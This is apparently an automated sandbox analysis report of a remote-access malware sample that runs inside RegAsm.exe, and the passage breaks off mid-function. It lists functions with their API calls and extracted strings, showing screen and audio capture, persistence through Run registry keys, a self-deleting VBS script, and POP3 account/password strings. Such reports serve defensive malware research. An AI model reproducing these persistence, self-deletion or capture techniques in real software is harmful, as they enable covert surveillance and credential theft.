                      • Opcode ID: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                      • Instruction ID: 54543d52817102a935349e0949155b160d3bd36039d058f0142c014f19b14c2e
                      • Opcode Fuzzy Hash: 6e7e1272b5dd4961ec291f7251087c477c276ff70ea579fe19356fd9f5958aa4
                      • Instruction Fuzzy Hash: D5D05B3074421C77D61096959D0AEAA779CD701B52F0001A6BB05D72C0D9E15E0087D1
                      Function 00418E76 Relevance: 51.1, APIs: 28, Strings: 1, Instructions: 328windowmemoryCOMMON
                      Download Yara Rule
                      APIs
                      • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418E90
                      • CreateCompatibleDC.GDI32(00000000), ref: 00418E9D
                        • Part of subcall function 00419325: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419355
                      • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F13
                      • DeleteDC.GDI32(00000000), ref: 00418F2A
                      • DeleteDC.GDI32(00000000), ref: 00418F2D
                      • DeleteObject.GDI32(00000000), ref: 00418F30
                      • SelectObject.GDI32(00000000,00000000), ref: 00418F51
                      • DeleteDC.GDI32(00000000), ref: 00418F62
                      • DeleteDC.GDI32(00000000), ref: 00418F65
                      • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418F89
                      • GetCursorInfo.USER32(?), ref: 00418FA7
                      • GetIconInfo.USER32 ref: 00418FBD
                      • DeleteObject.GDI32(?), ref: 00418FEC
                      • DeleteObject.GDI32(?), ref: 00418FF9
                      • DrawIcon.USER32(00000000,?,?,?), ref: 00419006
                      • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 0041903C
                      • GetObjectA.GDI32(00000000,00000018,?), ref: 00419068
                      • LocalAlloc.KERNEL32(00000040,00000001), ref: 004190D5
                      • GlobalAlloc.KERNEL32(00000000,?), ref: 00419144
                      • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00419168
                      • DeleteDC.GDI32(?), ref: 0041917C
                      • DeleteDC.GDI32(00000000), ref: 0041917F
                      • DeleteObject.GDI32(00000000), ref: 00419182
                      • GlobalFree.KERNEL32(?), ref: 0041918D
                      • DeleteObject.GDI32(00000000), ref: 00419241
                      • GlobalFree.KERNEL32(?), ref: 00419248
                      • DeleteDC.GDI32(?), ref: 00419258
                      • DeleteDC.GDI32(00000000), ref: 00419263
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIconInfo$BitmapBitsCursorDisplayDrawEnumLocalSelectSettingsStretch
                      • String ID: DISPLAY
                      • API String ID: 4256916514-865373369
                      • Opcode ID: 86b0354fb495a99297697fe6ef04b294736cc3efcbebce0c6d492a8aa7b6887a
                      • Instruction ID: c224b28d618b709f2792c20de920cdabb9de4a917dc726d0ffe82d87ba3e906a
                      • Opcode Fuzzy Hash: 86b0354fb495a99297697fe6ef04b294736cc3efcbebce0c6d492a8aa7b6887a
                      • Instruction Fuzzy Hash: 75C14C71508301AFD720DF25DC44BABBBE9EB88715F00482EF98993291DB74ED45CB6A
                      Function 0040D420 Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                        • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D51D
                      • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D530
                      • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D549
                      • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D579
                        • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                        • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                        • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(Function_0000A267,00000000,?,pth_unenc), ref: 0040B8D5
                        • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D7C4
                      • ExitProcess.KERNEL32 ref: 0040D7D0
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                      • String ID: """, 0$")$0qF$0qF$8SG$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                      • API String ID: 1861856835-332907002
                      • Opcode ID: d1e5175430559d744f3697ac5d4fa8fe9ed39947549674ebcac5be490dbfcb53
                      • Instruction ID: f0dedf37b1d13a6a68a2ae87fd6fc042f686ba0b246118386f774540a9e6bc24
                      • Opcode Fuzzy Hash: d1e5175430559d744f3697ac5d4fa8fe9ed39947549674ebcac5be490dbfcb53
                      • Instruction Fuzzy Hash: 2191A4716082005AC315FB62D8529AFB7A9AF91309F10443FB14AA71E3FF7C9D49C65E
                      Function 0040D096 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00412850: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                        • Part of subcall function 00412850: WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1A5
                      • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1B8
                      • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E8
                      • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1F7
                        • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(0040A27D,00000000,004752F0,pth_unenc,0040D0B8,004752D8,004752F0,?,pth_unenc), ref: 0040B8BB
                        • Part of subcall function 0040B8AC: UnhookWindowsHookEx.USER32 ref: 0040B8C7
                        • Part of subcall function 0040B8AC: TerminateThread.KERNEL32(Function_0000A267,00000000,?,pth_unenc), ref: 0040B8D5
                        • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,636B1986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000000), ref: 0040D412
                      • ExitProcess.KERNEL32 ref: 0040D419
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                      • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$hpF$open$pth_unenc$wend$while fso.FileExists("
                      • API String ID: 3797177996-2557013105
                      • Opcode ID: 6f7c707475e127e0f0984543e97620b4272e3932a2f9fe4e694b6d7d0f6a37c1
                      • Instruction ID: d7bb7cf55c4450259501d0c3086a2d123ad94ece798773e978a9ab54bd012bbb
                      • Opcode Fuzzy Hash: 6f7c707475e127e0f0984543e97620b4272e3932a2f9fe4e694b6d7d0f6a37c1
                      • Instruction Fuzzy Hash: 9081B0716082005BC715FB62D8529AF77A8AFD1308F10483FB586A71E2EF7C9E49C65E
                      Function 00412475 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 00412494
                      • ExitProcess.KERNEL32(00000000), ref: 004124A0
                      • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0041251A
                      • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412529
                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 00412534
                      • CloseHandle.KERNEL32(00000000), ref: 0041253B
                      • GetCurrentProcessId.KERNEL32 ref: 00412541
                      • PathFileExistsW.SHLWAPI(?), ref: 00412572
                      • GetTempPathW.KERNEL32(00000104,?), ref: 004125D5
                      • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 004125EF
                      • lstrcatW.KERNEL32 ref: 00412601
                        • Part of subcall function 0041C3F1: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C430
                      • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 00412641
                      • Sleep.KERNEL32(000001F4), ref: 00412682
                      • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412697
                      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126A2
                      • CloseHandle.KERNEL32(00000000), ref: 004126A9
                      • GetCurrentProcessId.KERNEL32 ref: 004126AF
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                      • String ID: .exe$8SG$WDH$exepath$open$temp_
                      • API String ID: 2649220323-436679193
                      • Opcode ID: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                      • Instruction ID: 17e21f0bcac096b9b94ced5306d028ab2385f4d1d2402c2ee3c492442eb82615
                      • Opcode Fuzzy Hash: 908bf4a0c636080116a95eb017d82998fcf2f5d0d03184f54df3d938f2d2222d
                      • Instruction Fuzzy Hash: 4651B371A00315BBDB10ABA09C9AEFE336D9B04715F10406BF502E71D2EFBC8E85865D
                      Function 0041B047 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                      Download Yara Rule
                      APIs
                      • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B13C
                      • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B150
                      • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660A4), ref: 0041B178
                      • PathFileExistsW.SHLWAPI(00000000), ref: 0041B18E
                      • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B1CF
                      • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B1E7
                      • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B1FC
                      • SetEvent.KERNEL32 ref: 0041B219
                      • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B22A
                      • CloseHandle.KERNEL32 ref: 0041B23A
                      • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B25C
                      • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B266
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                      • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                      • API String ID: 738084811-2094122233
                      • Opcode ID: 915ea97425a421c3b0b360962332b058f157651fe3be4e3934032a8821c14c71
                      • Instruction ID: fe650b41180b39ed17604f18bcb9a712e211fca36760164052b554565c231c06
                      • Opcode Fuzzy Hash: 915ea97425a421c3b0b360962332b058f157651fe3be4e3934032a8821c14c71
                      • Instruction Fuzzy Hash: 0351A3B12842056AD314B771DC96ABF379CDB84358F10043FB64A521E2EF788D48CA6E
                      Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                      • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                      • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                      • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                      • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                      • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                      • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                      • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                      • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                      • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                      • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                      • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                      • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                      • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$Write$Create
                      • String ID: RIFF$WAVE$data$fmt
                      • API String ID: 1602526932-4212202414
                      • Opcode ID: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                      • Instruction ID: 2ec91bc18be8700290cedec85ec8f66933089e8d2246bcc6fed4c3761e19f715
                      • Opcode Fuzzy Hash: 62b265300192e2cf3fc36ee1b19606fb2409bb2919511e1e0316a81c88f5e1bc
                      • Instruction Fuzzy Hash: EB414E72644308BAE210DA51DD86FBB7EECEB89B50F40441AF644D60C0D7A4E909DBB3
                      Function 00407270 Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                      Download Yara Rule
                      APIs
                      • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000001,0040764D,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000003,00407675,004752D8,004076CE), ref: 00407284
                      • GetProcAddress.KERNEL32(00000000), ref: 0040728D
                      • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072A2
                      • GetProcAddress.KERNEL32(00000000), ref: 004072A5
                      • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072B6
                      • GetProcAddress.KERNEL32(00000000), ref: 004072B9
                      • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 004072CA
                      • GetProcAddress.KERNEL32(00000000), ref: 004072CD
                      • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 004072DE
                      • GetProcAddress.KERNEL32(00000000), ref: 004072E1
                      • GetModuleHandleW.KERNEL32(ntdll.dll,LdrEnumerateLoadedModules), ref: 004072F2
                      • GetProcAddress.KERNEL32(00000000), ref: 004072F5
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressHandleModuleProc
                      • String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$LdrEnumerateLoadedModules$NtAllocateVirtualMemory$NtFreeVirtualMemory$RtlAcquirePebLock$RtlInitUnicodeString$RtlReleasePebLock$ntdll.dll
                      • API String ID: 1646373207-255920310
                      • Opcode ID: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                      • Instruction ID: f839149ce94c73eee9bda0254407c114f4740b95dc73f4bc012c28e2a4ae17e7
                      • Opcode Fuzzy Hash: 219bb9ae8fbeca959e8a3246f6ba2b5d667704a520b136de0cc32d122fe89174
                      • Instruction Fuzzy Hash: 520171E0E4431676DB216F3A6C54D4B6F9C9E5125131A087BB409E2292FEBCE800CE6D
                      Function 1000173A Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 210COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _strlen
                      • String ID: Acco$Acco$POP3$POP3$Pass$Pass$t$t$un$un$word$word
                      • API String ID: 4218353326-3023110444
                      • Opcode ID: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                      • Instruction ID: bb93a2ec4ecc4c0c7ac40ef0fbf5621e946fdf476ba73097d2750e43d9e064ca
                      • Opcode Fuzzy Hash: 6f2763eb29f99e55b9fa1c4501e1124463a6139b8cfee53aa49ae728a3ea04e1
                      • Instruction Fuzzy Hash: 69612475D04218ABFF11CBE4C851BDEB7F9EF45280F00409AE604A7299EF706A45CF96
                      Function 0040CDF9 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 203fileCOMMON
                      Download Yara Rule
                      APIs
                      • _wcslen.LIBCMT ref: 0040CE07
                      • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000000,?,004750E4,0000000E,00000027,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E), ref: 0040CE20
                      • CopyFileW.KERNEL32 ref: 0040CED0
                      • _wcslen.LIBCMT ref: 0040CEE6
                      • CreateDirectoryW.KERNEL32(00000000,00000000,00000000), ref: 0040CF6E
                      • CopyFileW.KERNEL32 ref: 0040CF84
                      • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFC3
                      • _wcslen.LIBCMT ref: 0040CFC6
                      • SetFileAttributesW.KERNEL32(00000000,00000007), ref: 0040CFDD
                      • CloseHandle.KERNEL32 ref: 0040D02D
                      • ShellExecuteW.SHELL32(00000000,open,00000000,00466468,00466468,00000001), ref: 0040D04B
                      • ExitProcess.KERNEL32 ref: 0040D062
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: File$_wcslen$AttributesCopyCreateDirectory$CloseExecuteExitHandleProcessShell
                      • String ID: 6$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$del$open
                      • API String ID: 1579085052-2309681474
                      • Opcode ID: 37bf41b36f569e96123a73dee1261e03dac0feab31b5a087a033d73400f0ce52
                      • Instruction ID: 6918cae47ac4af68ec004dabb58255b0e3542cbe00f5913d2fcd66cab837b2ae
                      • Opcode Fuzzy Hash: 37bf41b36f569e96123a73dee1261e03dac0feab31b5a087a033d73400f0ce52
                      • Instruction Fuzzy Hash: CA51A620208302ABD605B7659C92A6F679D9F84719F10443FF609A62E3EFBC9D05866E
                      Function 0041C01B Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 139stringCOMMON
                      Download Yara Rule
                      APIs
                      • lstrlenW.KERNEL32(?), ref: 0041C036
                      • _memcmp.LIBVCRUNTIME ref: 0041C04E
                      • lstrlenW.KERNEL32(?), ref: 0041C067
                      • FindFirstVolumeW.KERNEL32 ref: 0041C0A2
                      • GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 0041C0B5
                      • QueryDosDeviceW.KERNEL32(?,?,00000064), ref: 0041C0F9
                      • lstrcmpW.KERNEL32(?,?), ref: 0041C114
                      • FindNextVolumeW.KERNEL32(?,0000003F,00000104), ref: 0041C12C
                      • _wcslen.LIBCMT ref: 0041C13B
                      • FindVolumeClose.KERNEL32 ref: 0041C15B
                      • GetLastError.KERNEL32 ref: 0041C173
                      • GetVolumePathNamesForVolumeNameW.KERNEL32(?,?,?,?), ref: 0041C1A0
                      • lstrcatW.KERNEL32 ref: 0041C1B9
                      • lstrcpyW.KERNEL32(?,?), ref: 0041C1C8
                      • GetLastError.KERNEL32 ref: 0041C1D0
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Volume$ErrorFindLast$lstrlen$CloseDeviceFirstNameNamesNextPathQuery_memcmp_wcslenlstrcatlstrcmplstrcpy
                      • String ID: ?
                      • API String ID: 3941738427-1684325040
                      • Opcode ID: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                      • Instruction ID: a349862c8cee18361e8dc915c9858c0b302c9409c899df8dda18ff866c7f94c5
                      • Opcode Fuzzy Hash: 8bb61c95002590c369f4a1d7d05134d86b2ad7932cc4dc2ebb1cdf4d201e776a
                      • Instruction Fuzzy Hash: 8B416171584316EBD720DFA0DC889EB77ECAB49755F00092BF545C2261EB78C988CBDA
                      Function 100019B2 Relevance: 26.5, APIs: 11, Strings: 4, Instructions: 218COMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: _strlen
                      • String ID: %m$~$Gon~$~F@7$~dra
                      • API String ID: 4218353326-230879103
                      • Opcode ID: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                      • Instruction ID: 2a57ee3bda34e0ca62253b4f9cdd28a92c7aa5ebcaa9e167bfd7dd38749d7a78
                      • Opcode Fuzzy Hash: 5313ffee17f5d615fcbb67a61029f9413697531bcd3fb870ba25ca75e457194f
                      • Instruction Fuzzy Hash: 9371F5B5D002685BEF11DBB49895BDF7BFCDB05280F104096E644D7246EB74EB85CBA0
                      Function 0044F42D Relevance: 24.4, APIs: 16, Instructions: 419COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: _free$EnvironmentVariable
                      • String ID:
                      • API String ID: 1464849758-0
                      • Opcode ID: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                      • Instruction ID: f75d98bba309171a1893162bbba9979c566f834f65d54a181aa040c21db392b6
                      • Opcode Fuzzy Hash: 12b2d8700cfafab1c51f31b0af1c60b5a90c67e430b3d12670f3d9796c815c4a
                      • Instruction Fuzzy Hash: C4D13672D007006BFB20AF799D81A6B77A4EF01318F05427FE919A7382EB3D99058799
                      Function 0041C68F Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C6B1
                      • RegEnumKeyExA.ADVAPI32 ref: 0041C6F5
                      • RegCloseKey.ADVAPI32(?), ref: 0041C9BF
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: CloseEnumOpen
                      • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                      • API String ID: 1332880857-3714951968
                      • Opcode ID: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                      • Instruction ID: af0903b0dab8fbea49832074ad132f154b97281cd99b968e1e8b6bf9777b958e
                      • Opcode Fuzzy Hash: 01bc9fe353fd2bad3d2e5d6b02442aa3bdaad2c57b214901d2918a8b4713c134
                      • Instruction Fuzzy Hash: 248144711083419BC325EF11D851EEFB7E8BF94309F10492FB589921A1FF78AE49CA5A
                      Function 0041D58F Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                      Download Yara Rule
                      APIs
                      • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D5DA
                      • GetCursorPos.USER32(?), ref: 0041D5E9
                      • SetForegroundWindow.USER32(?), ref: 0041D5F2
                      • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D60C
